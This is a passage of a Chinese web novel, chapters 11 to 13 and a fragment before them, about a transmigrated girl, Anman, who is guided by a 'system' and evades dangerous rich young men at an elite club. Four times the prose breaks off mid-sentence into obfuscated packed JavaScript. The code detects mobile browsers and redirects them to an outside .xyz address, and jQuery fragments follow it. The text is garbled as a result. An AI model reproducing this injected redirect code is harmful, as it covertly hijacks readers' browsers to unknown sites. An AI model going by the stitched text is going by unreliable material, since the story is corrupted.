小车在淹没在夜晚的车水马龙中,先是开入市区,然后略过一片片豪华小区,绕了一个弯进入城市另一边的远郊。 这里修了一片新兴的小区,宣扬性价比,专门出售给不够有钱的人。主打温馨田园风,融入了许多现代的简洁明快元素,整个风格中混乱掺杂一丝和谐。 小车停在了一个独栋的花园洋房前,在铁门自动升起后,缓缓开入停车场。 洋房前后贯通,前院栽种了各色昂贵花卉和草木,颜色鲜艳逼人。 一位女佣在门外严阵以待,听到动静连忙开门通知男女主人,然后笑容满面说,“安蔓小姐回来啦。” 安蔓冷淡地下车,冷淡地跟着女佣见了父母,心脏急速跳动。 因为原著里,根本没有一丝一毫的提到关于原主家里的内容!而手机里,也根本没有记录任何信息,只有一些基本的交流 但是因为任务的催促,加上需要及时将手里的东西退还,让她不得不硬着头皮来了。 但一进安家,那种紧张却化为了另一种感觉。 原主和她名字一样,长相一样,居然连父母的样子也相差无几。 安母穿了一件淡绿色的丝绸长裙,头发盘起,发带上镶嵌着洁白的淡水珍珠,衬托着她的气质越发娴静优雅,大概四十几岁保养良好的脸上看不出太多痕迹,嘴角含笑,“宝贝回来啦,这么穿真漂亮。” 安父穿着一身蓝白条纹的修身衬衫,打着白色领带,头发油光滑亮,就连鞋子也打了蜡,看起来也是刚从一个活动上离开不久,“我们宝贝穿什么都漂亮!箱子里是需要还的衣服吗?交给小李,明天让他退回去。” 安蔓冒了一身的鸡皮疙瘩。 ……不仅是外貌,父母说话的性格也很相似。 她努力保持着优雅端庄的微笑,无需刻意打扮,身姿和面容都是顶级,清纯漂亮,动人心魄。 安母看着她一脸温柔,像是欣赏自己创造出来的完美作品。安父是个大型超市的老板,别称暴发户,自己没什么文化。两人一心把希望寄托在女儿身上,希望她能够带领家庭起飞。 而这个女儿一向聪明又漂亮,一直没让他们失望。 安母温柔开口,“昨天晚上过得怎么样,和江少爷的进度如何了?” 佣人端来精致小巧的点心和茶水,安蔓端坐在沙发上,一边骂系统一边斟酌说,“很抱歉,情况可能不太好,已经有人把我们家里的情况爆了出来。江少爷他似乎很生气。” 安父皱紧眉头,安蔓装富的计划是他们一起做出来的,一直很完美,直到现在爆雷——明明一直伪装的很完美! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855470|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >安父声音洪亮,震的整个洋房似乎都在嗡嗡作响:“你这么漂亮又优秀他居然不喜欢你?还对你生气?真是不可理喻!” 安母也是十分忧心,既担心女儿的前途,也忧心惹到了这种层次的人,是否会对家庭造成什么损伤,她担忧地对女儿开口,“没有挽回的余地吗?” 见到安蔓摇头,她更加担心。 安父也喃喃自语,“这确实是个问题。” 他皱着眉头指挥说,“算了,他不喜欢就不喜欢,正好你等会儿要去见崔少爷了。女儿你现准备一下。赶紧打扮打扮去求个情,看看能不能和解一下。” 安母也说:“宝贝,那崔少爷那你就要抓住机会。你不是和他处的很好吗,你去求求他。看可能不能和江少爷见见面、道个歉。” “……好。” 安蔓木着脸,被佣人带到房间,仔细打理了一遍头发,然后换了一件衣服。 她换上了一条淡粉色的立领蝴蝶结掐腰长裙,腰肢纤细美丽,外面穿上一件白色的大衣外套,如同吐蕊初绽的清丽玫瑰。 “你先出去吧。”安蔓对佣人说。 换好衣服后,她没有立刻动身出找“崔少爷”,说实话,直到现在她还一头雾水。 ……太诡异了。 她拧开水流,对着镜子,仔细端详自己的脸。白皙、柔和,黑瞳孔,漆黑发色,眼尾往下,带着一种湿漉漉的无辜感。 因为没有化妆的原因,唇色苍白,几乎和脸庞一个颜色,脆弱柔软得如同一捧初落的春雪。 一样的父母,一样的外貌。 安蔓被各种脑补激起了一身的鸡皮疙瘩,手指按在镜面上,乌黑的眼睛死气沉沉地盯着镜子,幽幽开口, “好有压力的一对父母,系统你有什么头绪吗。” 系统终于嘟嘟囔囔地出现:“这不能怪我!我们这里规定的是,除了任务之外的时间不许出现!” 安蔓:“呵呵。” 系统自知理亏,“我不出现是因为我也不知道啊!我这里数据库没有!而且我经过计算你不会翻车的……好吧好吧,我的错,对不起,我给你传资料。” 这位姓崔的男主是故事里最嚣张的一位,作为金字塔顶端的一号人物,他家世煊赫,是垄断德里州的4个大姓之一。 崔家本身豪门起家,家中能人辈出,据说父亲是首相,母亲是皇室后代,父母的兄弟姊妹也在各州担任要职,自己也是板上钉钉的继承人之一,名副其实的天潢贵胄。 可以说只要不作死,本人完全可以在这个州横着走。 崔家中亲戚众多,但是能压得住他的寥寥无几,养着了他嚣张跋扈,不可一世的性格。 安蔓:“所以跟我的任务有什么关系?” 系统:“有啊,你马上就要跟他见面了。” 系统细细解释自己查到的资料:“安家查到男主一号的信息,他经常出入一顶级的私人俱乐部,于是买通了职工把你招进去当临时工。” 安蔓了然,难怪安父安母不担心女儿在这里受装富暴露的影响。 因为她在这里的人设——是个勤工俭学的打工人! 11.第 11 章 11. “嘘——” 女职工退到一边,贴着墙深深鞠了个躬。 安蔓被拉到一边,跟着鞠躬。 她低着头,注视着地面上光滑的倒影。 首先传入耳中的是一道脚步声。 是硬底踩在地面的声音,不轻不重,踏步规律。 杂乱无序的脚步声跟随其后,这几道脚步声就急促了许多,似乎急于跟上,又不敢太快超过。 地面上四五人的倒影从远处慢慢走来,为首的一个穿着冲锋衣,身形高大挺拔,缓步走来。 安蔓贴着墙壁,听见刚刚在门口对所有职工横眉冷对的俱乐部管理,谄媚的声音。 “崔少爷,好久不见了,欢迎前来,怎么不提前通知我们一声。”俱乐部的管理殷勤说,“您看是先去喂小猫,还是还是去运动放松一下。” 然后是另一个人接话的声音,“崔少爷今天是一个人来吗,我看您好像带了朋友,需要我为你们提前预预约云顶餐厅吗,今天有空运的蓝鳍金枪鱼和象拔蚌。” “装备和陪练都给你准备好了,如果您想放松一下,现在直接去就好了。”又有人说。 而被团团围住的主人公始终一言不发,直到听到最后一句,似乎才稍稍提起劲,勉为其难地“嗯”了一声。 声音很低,透着一股懒洋洋的味道。 安蔓稍稍抬起头后,从余光看到这位嚣张跋扈的崔少爷。 他身材高大,轮廓分明,最耀眼的是一双金色的眼睛,在灯光的映照下流光溢彩,看起来非常华丽。 唯独表情带着隐约烦躁,破坏了这种华丽的氛围,但这于外貌无损,反而有种阴冷的俊美。 他傲慢非常,理所当然地被人簇拥、服从、讨好,甚至懒得施舍一个眼神。只是轻轻一个停顿,所有人便自觉停住说话。 “安蔓?” 崔英朗心情不好,他注意到视线转头扫了一眼,自动跳过那个职工,落在安蔓的脸上。 安蔓顿时压力陡增。 他淡淡扫过,认出了这个打工的同学,勉强点了点头,算是打了招呼。 安蔓:“他看起来好结实啊,我突然想问下我在他那是怎么翻车的。” 系统:“稍等,我翻一下资料。” 她回过神,旁边的女职工发出了阵阵抽气,“他居然冲你点头,天呐!” “我来这里两年了,还没见过他跟谁打过招呼。多少人冲他来的,根本没见他施舍过谁一个眼神!” 她喃喃自语,像是面对了一个奇迹,“你该看看管理刚刚的表情,简直像是被揍了一拳。” “我能跟过去吗?”安蔓想起任务的发布要求,是呆在崔明朗身边。 “之前不行,服务于崔少爷的团队,都是经过筛选,这跟在外面做服务员不一样。”女职攻说,“不过这一次我觉得他们会让你过去,天呐。我去帮你问问。” . 刚刚那个点头像是给予了某种特赦。 安蔓最终还是跟了过去,崔少爷选定的运动场所是一个拳击场,她负责在旁边服务,根据少爷的需要提供帮助。 没过几秒,崔明朗就戴好装备,从更衣室走了出来,站上训练台。 他没穿上衣,裸的上半身,宽肩窄腰,肌肉鼓胀紧实,轮廓分明,蜜色皮肤纵横贲张。 但是眉目暴戾,眼神沉沉,有种隐约的疯狂。 “开始。”他说。 陪练看起来有点畏惧他,崔明朗打拳肆无忌惮,暴躁狠辣,经常下手不知轻重,但是钱给的很足,按分钟算钱,算是一个肥差。为了5倍的陪练费,他一咬牙,穿戴好防护和他对练。 书里有过描述,说这位男主的武力值很高,热爱运动,喜欢健身,肌肉十分发达,还拿过国际运动员奖杯。 此刻他明显心情不好,动作间不知不觉也戾气横生,招招凌厉,拳拳到肉,充满锋锐残暴的力量感。 一拳下去,陪练倒了。 安蔓:“……” 安蔓:“那是骨折声吗。” 崔明朗面无表情,居高临下看了受伤的陪练一眼,让他自己去找助理看医生走流程跟他报账。 然后开始打沙袋,声音砰砰作响,动作粗暴发泄,连绵不绝。越打越暴躁,最后狠狠挥出一拳沙袋飞了出去,砸到墙上发出砰的一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865080|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安蔓:“……” 安蔓:“……系统你说话啊。我突然有点害怕,这是我第三个任务对象吗。” 系统的声音无精打采:“是的。” 原著里,原主通过旁门左道和这位少爷成了点头之交,考虑到他根本没有几个耐得下心社交的人,也算是一个“朋友”。 后面复仇系女主因为遭到了原主的陷害,对她进行了正义的报复,故意的激怒了她,让她说出了崔少爷的坏话。 然后录制了视频,发给了崔明朗。 原本心情就不好的崔少爷,在烦躁、厌恶、和暴戾的情绪中,对原主进行了可怕的制裁。 想到刚刚从女职工那边听到的传闻,她一点也不想感受淹水或者被车撞的感觉,对方甚至一拳就让她昏迷。 安蔓忍不住摸了摸衣服下露出的皮肤,即使室内开足了空调,仍然有种毛毛的感觉,“原主说了什么。” “挺过分的吧,狠狠骂了他几句。比如‘崔明朗那种神经病能那么嚣张,还不是仗着有背景。’” 安蔓:“……” “所以为什么一定要我来这里见证任务发布。”安蔓:“……哇塞,这是在折磨我吗?” 崔明朗打爆沙袋之后轻轻吁了一口气,眉宇间的烦躁感仍然挥之不去,重重把拳击手套扔在地上。 他的裤子松松垮垮地勒在腰上,露出垒块分明的腹肌,细密的汗吸附在胸口上,蜜色的皮肤因为汗水显得格外甜蜜,随着呼吸上下起伏,像一头蓄势待发的黑豹。 他随手拿过一条毛巾,路过被打飞的沙袋,走到一边休息,一边喝水,一边拿起手机。 系统说了一个冷笑话:“不是,现在才是在折磨你。因为女主要把你骂他的视频发给他了,任务二来了。” 叮咚,崔明朗的手机发出一阵响声。 屏幕亮了一下,显示最新消息。 系统:“哦,女主把视频发给他了。” 崔明朗划开手机。 系统:“现在他看了。” 叮。 【任务三:生存危机。】 【任务描述:从崔英朗手里全尾全须地存活下来。】 12.第 12 章 12. 崔英朗正在看手机,他点开了视频。 视频是静音的,应该不长,因为他很快放下了手机,往安蔓的方向看了一眼。 对方知道他在这里,只是之前一直没在意罢了,就像是狮子忽略自己足边的蚂蚁,轻视而怠慢。 ——现在他开始注意她了。 安蔓的额头突突地跳了起来,浑身的血液涌向大脑,让她整张脸都热了起来,呼吸也变得沉重。 安蔓查过手机,发现原主和崔英朗做朋友的方式十分简单,她调查后得知崔英朗经常来这个俱乐部,设法得到了里面服务生的岗位,然后经常出现在他面前。 她在学校里是富裕美丽的校花,而在这里是一个贫穷可怜强撑面子的倔强小白花。这样的反差当然吸引了崔英朗的注意,在原主第16次出现在崔英朗面前时,他们第一次搭了话,然后变成了偶尔能说上几句话的关系。 再然后,关系到此止步。 视频到底说了什么? 崔英朗收回目光,他漆黑的头发微微汗湿了,贴在光洁的额头上,金色的眼睛一动不动盯着屏幕,赤裸的手臂肌理分明,贲起的肌肉流淌着蜜色的光泽。 他伸手撩开贴在额前的湿发,将手里握着的毛巾扔在一边,指尖缓缓悬早起对着屏幕又点了一下。 他开了声音。 “谈灵秋。”手机里传来一道年轻的女声,柔和而低沉,“你以为你是谁啊……” ——是原主的声音。 指尖在口袋里蓦然收紧,安蔓的指尖碰到了手机,突然站起来往外走,一边走一边骂内心唾骂系统,“你们这个任务到底有多少个坑啊!为什么我一定要在场迎接任务啊!” 系统小声说,“通过计算,这样任务的完成率最高。” 安蔓:“你们有病啊!这是正经的攻略任务吗?!” 和安蔓一同留在这里服务崔明朗的男生,见她突然站起,有些诧异,下意识地跟着站了起来,看看她往出口的方向走愣了一下,开口道,“你要走……” 几乎是在他开口的瞬间,崔英朗的视线扫了过来。 “我有事。”安蔓随便扯了一个借,毫不犹豫打开门,快步走了出去。 俱乐部主打私密和安全,让会员能在里面做任何想做的事,因此没有监控,服务生虽然分布到各处,但是只要不叫他们,就不会出现在身边。 不能奔跑、不能慌张。 那样格格不入,会成为一个明显的靶子。 在这里服务生也是可以采撷的对象,唯一不同的是多了可以辞职的权利。 安蔓穿着制服,踩在软软的地毯上,步伐稳定,表面上镇定自落,实际上越走越快。 天杀的,原主到底说了什么东西,才会让任务用词变成“存活”啊。 她回忆出口的方向,快速过了一个拐角,迎面而来的是一小群人。 为首的男生身材高挑,气质优雅,有灰雾般的眼睛和黑色卷发,穿着德川的黑色制服。 白色衬衫、黑领结、黑色马甲,外套搭在手臂上,面庞白皙柔和,一副金尊玉贵的公子哥模样。 他面向一侧,正在和旁边跟随的两个人说话,姿态亲切而温和,“……不,我今天是一个人来的,并没有携带同伴。” 他左边的人身材结实高壮,穿着俱乐部的高级制服,紧紧跟在旁边,和他说着话,“景少爷,今天准备去靶场吗?我们已经清了场,今天绝对不会有任何人来打扰你。我们进了一些最新型号的器械。” “哦?有哪些,方便为我介绍介绍吗?”被叫做景少爷的人,态度十分配合,彬彬有礼的接了一句。 “当然。我这就为您介绍。” 另一个人不甘示弱,把刚刚说话的人挤了一下,没能挤到一边,就扬起声音开了另一个话题,“景少爷,今天崔少爷来了,您要和他打个招呼吗?” 安蔓陡然冲过那个拐角,几乎刹不住身体,正好撞了上去。只能努力刹住身体,整个人却向前倾倒。 而前方的公子哥也正好转过头来,他唇红齿白,面带柔和微笑,正是早上才见过韶景戈。 “抱歉。”安蔓竭力让自己不要碰到他,却仍然控制不住地撞上去,正好撞上他硬邦邦的银饰纽扣。 好痛!她痛的泪花都要飙出来了,下意识地扶住韶景戈的肩头,想要站起来。 对方却忽然按住她的腰,轻轻地压了一下。 安蔓刹那失去平衡,不受控制地倒向他的肩头,然后被他顺理成章地接住。 一抬头,正好看见他低垂注视她的、柔和的灰色眼睛。 对方微笑说,“哎呀,真不意思。” 安蔓:“……??” 对方垂眼地注视她,笑容满面,声音温和,手指却牢牢按在她的腰上,“不好意思,撞疼了你吧,这么急急忙忙是遇到了什么事吗?你看起来……需要帮助。” 安蔓指尖绷紧,努力站直了身体想要推开他,还来不及错愕和询问,就听到了另一侧传来的说话声。 “崔少爷,怎么突然出来了,是有服务不周到的地方吗?” “你刚刚看到有人从这里过去吗?”崔英朗的声音说,“我在找人。” 太快了。 这么这么快! 安蔓一听到这个问话声就浑身紧绷,几乎不敢听崔英朗的回复,按着这人的肩膀想要站起来,他却又不松手。 她深吸一口气,干脆自暴自弃地抱着韶景戈的脖子,对他进行道德绑架,“韶会长,我现在特别需要帮助,非常需要!如果你不帮我我就在你面前跳楼。” 四个男主中,崔英朗是个暴戾的贵族,江赫出身高贵又性格冷漠。 恶魔双生子里,一对兄弟都是乐子人。 不过韶景戈最会做表面功夫,觉得有趣就会出手,而他弟弟简直是个肆无忌惮的小恶魔,遇到猎物就像猫遇上老鼠,不肯轻易玩死。 现在这个情形肯定属于——有趣的范畴:暴怒的崔英朗和狼狈逃窜的猎物。 奇怪的是,韶景戈刚刚故意将她按倒。 但她搂上去后,他却浑身僵直起来,不过僵硬只维持了一刹,很快他又重新放松下来,调笑道,“哦,好啊,那你求我?” 安蔓毫无节操:“帮我,求你。” “好啊,你当我的奴隶,我就帮你。”韶景戈回答的也很干脆。 安蔓:“……”这人有病吧? 安蔓匪夷所思,一阵恶寒,但是左右看去,在这个笔直的长通道里,根本找不到躲藏的地方。 随着对话和脚步声越来越近,她干脆抛弃了节操,抱住他的脖子闭眼道,“行行行,都行,只要你救我!快点快点来不及了,我需要找个地方藏起来。” “好吧。” 韶景戈得到她的承诺,忽然愉快地笑了起来。 他裂开殷红的嘴角,露出一口寒气森森的白牙,眼睛愉悦地眯了起来,语调也突然变地高昂了。 “藏起来呀,简单,我有办法。” . 崔英朗从转角处走了过来,他一眼看见了韶景戈,气质淡然平和,甚至有几分寡淡,永远得体的笑容挂在嘴边,无趣非常。 他整整齐齐地穿着一身制服,笑容温和,有种看似亲切,实则拒人于千里之外的气质。 与之相悖的是,他的手上却抱着一个身材娇小的女生,似乎珍惜极了。她浑身都被大衣裹紧,缩在韶景戈的怀里微微发抖,被他抱小孩似地抱着。 韶景戈旁边的人,早在他们撞在一起时候,就识趣退开了,此刻正站在远远的地方自顾自地说话,满脸见怪不怪。 这里到处都是这种场景。 漂亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868951|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平民猎物献媚,贵族公子猎艳。 崔英朗目光烦躁地扫过他怀里的人,“这是谁。” 韶景戈温和地笑了一下,隔着一层布料,单手抱着怀里的人,左手轻柔地碰了碰她的头顶。 怀里的人似乎怕极了,轻微颤动了一下,蜷缩似的在他怀里,靠得更紧了一点。 从大衣里露出的一点点雪白的指尖,紧紧地拉了一下对方的衣服,握住一小角。 是我的公主,她害羞了。” 韶景戈笑了一下,声音闷闷的,收紧了手臂好好抱着,“怎么了?发生什么事了吗?” “我在找一个人。”崔英朗的目光扫过周围,“有一些事需要解决。” “可惜我刚才一直在和我的甜心说话,完全没有在意四周,不然还可以帮你问一下。” 韶景戈说完转头,开口问跟着他的几个人,“你们有看到刚刚有人过去吗。” 几个人对视了一眼,纷纷摇头,“没有。” 韶景戈可惜道,“是什么人呢。” “不重要。” “好吧,我本来还想说,是不是能够帮你找一下的。”韶景戈遗憾道,“那我就先走了,不打扰你了,我和我的公主还有事要做。” 韶景戈转过身,似乎无意间摇晃了一下,吓得怀里的人紧紧抓着他。 “乖啊,别怕别怕。” 他抱着怀里的人像哄小孩似的拍了拍她的背,接着转身一步步向外走去,路上没有遇到任何阻拦,在拒绝了几个想要帮忙的服务生,走过了几条通道外离开了俱乐部。 他步伐轻快,像是捧着一个没有拆封的礼物盒,一路走上了车,接着才将人放在副驾驶座里,锁上车门。 “好了。” 外套被猛然掀开,露出了安蔓的头,浓密乌黑的发丝将她的脸颊埋在中间,只露出一点点莹润白皙的耳尖。 他垂着头,看着她玻璃珠一样漆黑眼珠,还有搭在他肩膀上白皙修长、因为用力而微微泛红的指尖。 安蔓觉得自己简直倒了大霉,她甚至怀疑这个人在耍她,直到一路上又颠又抖地被抱进车里,才稍微喘过气来。 转头就见到对方一只手放在方向盘上,单手支着下巴,露出形状较好的侧脸,表情懒懒散散地,灰色的眼睛却一直盯着她,像是看到了什么新鲜事。 他最终突然笑起来,笑得像小恶魔一样,露出了两颗尖尖的牙齿。 安蔓几乎被看的有些发毛,“怎么了?” “你刚刚是怎么叫我的?” 安蔓:“韶景戈?” 对方露出思索的表情,摇了摇头,好整以暇地看着她:“错。” “韶少爷。” “不对。” 安蔓:“??” 安蔓怀疑人生,觉得这个人可能有什么大病。 她回忆对方对他的称呼,试探地叫了一句,“达令?” 小恶魔笑得前仰后合,“哎,我的天呢。” “我的公主,虽然我很想就这么应了你,但现在还是不得不纠正一下。提示,我叫什么名字?” “韶景戈?” 不对。安蔓立刻意识到什么。 韶家这对恶魔双生子性格恶劣,哥哥更温和,弟弟更蛮横,两个人本质的性格极为相似——看到猎物紧紧撕咬,绝不松口。 他们的外形一模一样,根本难以分辨,而且特别喜爱交换身份。 “……韶景荻。” “没错。韶景戈是我的哥哥啊。” 韶景荻顶着一头黑色卷毛,唇红齿白,裂开嘴又微笑起来,露出锐而尖的牙齿。 他嘴唇发红,利齿像是鲨鱼一样尖锐雪亮,仿佛下一秒就能瞄准猎物,利齿深深插入喉管,撕裂,血淋淋的一片。 “甜心,你又猜错了。”他说,“看来需要惩罚你。” 13.第 13 章 13. 韶景荻,在原著里是一个加粗大写的疯子。 他性格非常恶劣,是个典型的乐子人,家境优渥、家里宠溺,有旬利四大姓之一的韶家兜底纵容,导致这对兄弟的行为肆无忌惮,一切以兴趣为导向。只不过哥哥表面更温和,弟弟更加为所欲为。 韶景荻曾经闯进韶家研究室的科学家办公室,让他给自己狗接生;也半夜突发奇想避开所有人,跑到俱乐部里给崔英朗养的名叫“小猫”的老虎剃了光头,并在它的秃顶上别了一个粉色蝴蝶结,只为看到老虎光头的样子——还拍照发了崔英朗一份。 在原著女主复仇的路上,他也是一大绊脚石,作为前期的喜怒无常不按常理出牌的小boss,他擅长缓慢持久地玩弄他人心态,从来不会一口咬死,而是有一阵没一阵地玩弄,直到当事人绝望。 安蔓的视线落在他的胸口的胸针上。 坚硬的黑兔胸针,绅士帽、短领结,还有拉长弯曲到耳后、夸张到有些瘆人的白色嘴唇。 “别紧张呀,开个玩笑,我没打算对你做什么。” 韶景荻单手支着下巴,表情在逆光的方向,显得模糊不明,只有声音清晰无比,“你胆子真大,居然敢惹他,方便问一下你到底做了什么吗,难道你打着他的旗号做过什么不好的事?或者骂他被发现了?” 猜中了。 他看着安蔓微微变化的表情,挑了挑眉毛,惊叹道,“……哇,那你要小心点,阿朗生气的时候真的有点恐怖。上个惹恼他的人现在还躺在医院。你知道那个人做了什么吗?” 安蔓摇了摇头。 她迎着光,眼睛像是被刺了一下,轻轻垂下,等待着对方接下来的话。 “那个坏孩子也是说了阿朗的坏话。应该是半年前的事吧,那个时候还是夏天,阿朗开了一场海滨派对,免费请所有人一起玩了一个月,这半个月里有个特别崇拜他的男生一直跟在他身后,忙前忙后做了很多事,因为确实做的不错,最后上位成了跟班。 阿朗脾气很差,但是出手特别大方,一个夏天跟班挣的钱就足以在旬利郊区全款买下一套房,不管怎么说对他还不错是不是?” 韶景荻叹息着说:“聚会结束的前一天,那个男生大概是放松了警惕,也可能是喝了一点酒,悄悄和一些特招生聚在一起说阿朗的坏话,说他横行霸道,迟早会遭到报应,还有一些……很夸张的羞辱。他比较倒霉碰巧被我们听见了,那时候阿朗手里正好拿着一根铝制的高尔夫球杆,差点把这玩意儿捅进那个人的眼睛。” “阿朗很讨厌,别人对他当面一套、背后一套。” 安蔓沉默了一下,没有就这个恐怖故事发表感想,抓起外套还给他,客客气气道,“谢谢你,让我下车吧。” 韶景荻却没接,而是换了个话题,“别紧张,下车可以,我只是想问你一些问题。” “什么问题?” “你对猎犬做了什么?” 韶景荻单手支着下巴,满脸好奇,黑色的卷毛和好奇瞪圆的眼睛,让他的气质显得无辜极了。 他从口袋里拿出手机解锁,点了点,随意地翻动了一下递给了她, “昨天晚上他还打算狩猎你呢,怎么这么快就改变了主意。” 安蔓接过手机,停留在屏幕上的是粉色的论坛界面,这是德川的校园内部论坛,人流不少,每天都会有人更新当日热点,韶景荻打开的是一个早上发出的热帖。 【标题:猎犬出击,买定赢手,猜猜他的胜率如何?】 —【搅屎棍虽然烦人,但是背景也不算差吧,秒了,我压胜。】 【我也压,校花算什么东西啊,这不是一根手指头就能碾压的吗?】 【别高兴得太早了,万一老天瞎眼了呢?】 …… 前排大多是这种没有营养的内容,回复者寥寥无几,帖子很快沉了下去。 但中午以后,又被人重新顶起,这次热度高出许多。 【大发!惊呆了,搅屎棍突然转性子了,从猎狗变成了护花使者!就在今天中午,我们的绿叶决定开始狩猎笑话,一雪前耻,清洗自己被校花蒙蔽的耻辱。结果你猜怎么着,没蹲到校花蹲到了搅屎棍——】 【别磨蹭了快说!】 【不是只有狗吧,我记得狐狸跟着一起来了。】 【——后续就是我们的猎犬出现了,在众目睽睽之下,顶着脸上不知道怎么来的大红印子,让人把校花的所有行李都好好收了起来。这也太怜香惜玉了吧!】 【你怎么知道是怜香惜玉?万一是为了更好地落井下石呢?】 【为什么不能,笑话长的挺好看的。】 【校花到底长什么样子?】 【看黑粉站,有很多照片。】 真是毫无道德感的恶劣行为。 只因为觉得有趣,就光明正大地将这种帖子,放在了“猎物”面前。韶景荻不在乎她的心情,只在意是否有趣。 安蔓撩开挡在脸颊上乌云似的发丝,露出了神色冷淡的脸,她额头上的红晕还没有消除,微微肿起,显得唇角越发没什么气色。指尖还在随意滑动屏幕。 韶景荻光明正大地注视安蔓的脸,从她微微颤动的睫毛、到事不关己的表情。 晃动的光影融化在她玻璃珠似的漆黑眼睛里,黑色的瞳仁里流淌着静谧的光河,漂亮又冷漠。 安蔓淡淡说:“没什么,他是个抖m,我扇了他几耳光他就满足了。” 韶景荻又笑了起来,他形状漂亮的眼睛微微眯了起来,灰蒙蒙的瞳孔流露出愉悦的色彩。 “真是小众的嗜好。” 神经,推荐你也试一下。 安蔓看完了帖子,指尖向下滑。后面甚至在讨论起了她本人献媚给猎犬求得庇护的可能性,猜的十分无聊。 然后在底下的账号栏,看到了绅士黑兔的头像,手指顿了顿,放下手机还给对方。 她开始冒鸡皮疙瘩了,警惕感开始狂跳,故意的还是意外?她不认为对方会出现这么粗暴的疏漏,唯一的解释是他故意让她看到这个。 ……这人在想什么? 韶景荻接过了手机,握在手中,目光却还是盯着她看,像是观察,也像是记录反应。 安蔓立刻攥紧了手指,脸上自然露出了虚伪、镇定、自然的笑容,一边开口一边向外侧出身体,手指搭在车门上:“谢谢你帮我,接下来就不麻烦你了,我自己坐车离开。” 她不再跟这个人瞎扯,果断过河拆桥,转身毫不犹豫地准备离开,伸手拉开车门。 没拉动。 可恶,什么时候锁的门啊! 安蔓蓦然转头,露出疑惑的表情。 她并不打算在这个时期被韶景荻盯上,这是一个恶劣、蛮横的小恶魔,是风纪会的副会长,遇到猎物会像大白鲨一样撕咬不放,鲜血淋漓。 他有种极端糟糕的、玩弄猎物的癖好。 就像此时,他仍在垂眸看她,声音不紧不慢。 “我有说你可以走了吗?” 韶景荻手指搭在了方向盘上:“你可能误会了,我不是我韶景戈,没那么温柔。” “其实你也误会了,我没那么真诚善良讲信用。” 安蔓假笑,“求助的那个是双胞胎妹妹安快,和我安蔓有什么关系。” “噗——” 韶景荻又笑了起来,他像是被戳中了笑点,一下子趴在了方向盘上,笑声通过震动低低传了过来,“甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872592|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,你真有意思。你还记得你答应过什么吗。” “不太记得了。”安蔓面无表情:“达令你也很有意思,不过如果能放我下车就更好了。” 韶景荻指尖在方向盘上点了两下,露出两颗虎牙,突然看向窗外。小车停在了俱乐部的门口,没有启动,此刻透过单面镜可以看到外面的场景。 俱乐部在中心区的一个隐蔽的角落,外部没有标识,周围的路线也经过了管控,路上的道路和行人都寥寥无几。 高大的常青树伫立在道路两侧,被雪花压弯了叶子,正随着温度的变化,一滴一滴地向下流淌融化雪水。 车身正好停在了树下,被宽大的树荫笼罩其中,光线昏暗又阴沉,冷风吹拂发出窸窣的细碎声响。 韶景荻弯了下嘴角,收回目光,像是吓唬小红帽的狼外婆说,“你真的不答应吗?说不定会发生很恐怖的事。” 安蔓疯了才去当他的奴隶,给他俩耳光让他感受m的快乐还差不多。 安蔓虚伪假笑,“哈哈。” “好吧,你真坏,居然这么玩弄我的心。” 韶景荻轻轻叹了一口气,撇下嘴角,居然没有强求她做了什么,而是伸手在车内摸索了一下,不知道按了哪里,咔嚓一声,锁开了。 他的情绪一下子冷淡下来,“我给过你机会,下去吧。” . 常青树的叶子被薄薄的积雪压弯了一点,浓密的枝叶在地上形成树落的倒影,斜射在一旁,湿冷的积云挤压在空中,汇聚成暗淡灰冷的影子。 啪嗒。一滴雪水从树上掉下,溅落地面。 安蔓站在树下,半张脸隐没在树影里,乌黑的瞳孔里带着一点困惑和警惕。 她目送小车远去,只觉得精神都带着一点淡淡的麻木感,没有搞清楚这个人在想什么,突然出现又突然消失,和他哥哥一样看起来像个热心肠的志愿者。 所有的事都透露着一种让人摸不着头脑的悚然感,像是恐怖片里的预警。 “你好,请来这个位置来接我,要尽快。” 安蔓找了个远离俱乐部的角落,找到私家车的电话拨过去。 